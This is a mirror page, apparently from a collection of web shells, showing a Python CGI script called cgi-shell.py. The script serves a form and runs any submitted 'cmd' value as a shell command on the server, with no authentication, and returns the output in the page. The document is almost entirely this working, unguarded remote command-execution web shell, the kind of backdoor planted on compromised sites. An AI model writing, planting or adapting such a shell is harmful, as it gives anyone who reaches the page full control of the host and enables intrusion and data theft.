mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
124 lines
3.7 KiB
Python
124 lines
3.7 KiB
Python
#!/usr/bin/python
|
|
# 07-07-04
|
|
# v1.0.0
|
|
|
|
# cgi-shell.py
|
|
# A simple CGI that executes arbitrary shell commands.
|
|
|
|
|
|
# Copyright Michael Foord
|
|
# You are free to modify, use and relicense this code.
|
|
|
|
# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
|
|
# Use at your own risk !!!
|
|
|
|
# E-mail michael AT foord DOT me DOT uk
|
|
# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html
|
|
|
|
"""
|
|
A simple CGI script to execute shell commands via CGI.
|
|
"""
|
|
################################################################
|
|
# Imports
|
|
try:
|
|
import cgitb; cgitb.enable()
|
|
except:
|
|
pass
|
|
import sys, cgi, os
|
|
sys.stderr = sys.stdout
|
|
from time import strftime
|
|
import traceback
|
|
from StringIO import StringIO
|
|
from traceback import print_exc
|
|
|
|
################################################################
|
|
# constants
|
|
|
|
fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
|
|
versionstring = 'Version 1.0.0 7th July 2004'
|
|
|
|
if os.environ.has_key("SCRIPT_NAME"):
|
|
scriptname = os.environ["SCRIPT_NAME"]
|
|
else:
|
|
scriptname = ""
|
|
|
|
METHOD = '"POST"'
|
|
|
|
################################################################
|
|
# Private functions and variables
|
|
|
|
def getform(valuelist, theform, notpresent=''):
|
|
"""This function, given a CGI form, extracts the data from it, based on
|
|
valuelist passed in. Any non-present values are set to '' - although this can be changed.
|
|
(e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
|
|
data = {}
|
|
for field in valuelist:
|
|
if not theform.has_key(field):
|
|
data[field] = notpresent
|
|
else:
|
|
if type(theform[field]) != type([]):
|
|
data[field] = theform[field].value
|
|
else:
|
|
values = map(lambda x: x.value, theform[field]) # allows for list type values
|
|
data[field] = values
|
|
return data
|
|
|
|
|
|
theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
|
|
<BODY><CENTER>
|
|
<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
|
|
<B><I>By Fuzzyman</B></I><BR>
|
|
"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'
|
|
|
|
theform = """<H2>Enter Command</H2>
|
|
<FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
|
|
<input name=cmd type=text><BR>
|
|
<input type=submit value="Submit"><BR>
|
|
</FORM><BR><BR>"""
|
|
bodyend = '</BODY></HTML>'
|
|
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'
|
|
|
|
################################################################
|
|
# main body of the script
|
|
|
|
if __name__ == '__main__':
|
|
print "Content-type: text/html" # this is the header to the server
|
|
print # so is this blank line
|
|
form = cgi.FieldStorage()
|
|
data = getform(['cmd'],form)
|
|
thecmd = data['cmd']
|
|
print theformhead
|
|
print theform
|
|
if thecmd:
|
|
print '<HR><BR><BR>'
|
|
print '<B>Command : ', thecmd, '<BR><BR>'
|
|
print 'Result : <BR><BR>'
|
|
try:
|
|
child_stdin, child_stdout = os.popen2(thecmd)
|
|
child_stdin.close()
|
|
result = child_stdout.read()
|
|
child_stdout.close()
|
|
print result.replace('\n', '<BR>')
|
|
|
|
except Exception, e: # an error in executing the command
|
|
print errormess
|
|
f = StringIO()
|
|
print_exc(file=f)
|
|
a = f.getvalue().splitlines()
|
|
for line in a:
|
|
print line
|
|
|
|
print bodyend
|
|
|
|
|
|
"""
|
|
TODO/ISSUES
|
|
|
|
|
|
|
|
CHANGELOG
|
|
|
|
07-07-04 Version 1.0.0
|
|
A very basic system for executing shell commands.
|
|
I may expand it into a proper 'environment' with session persistence...
|
|
"""
|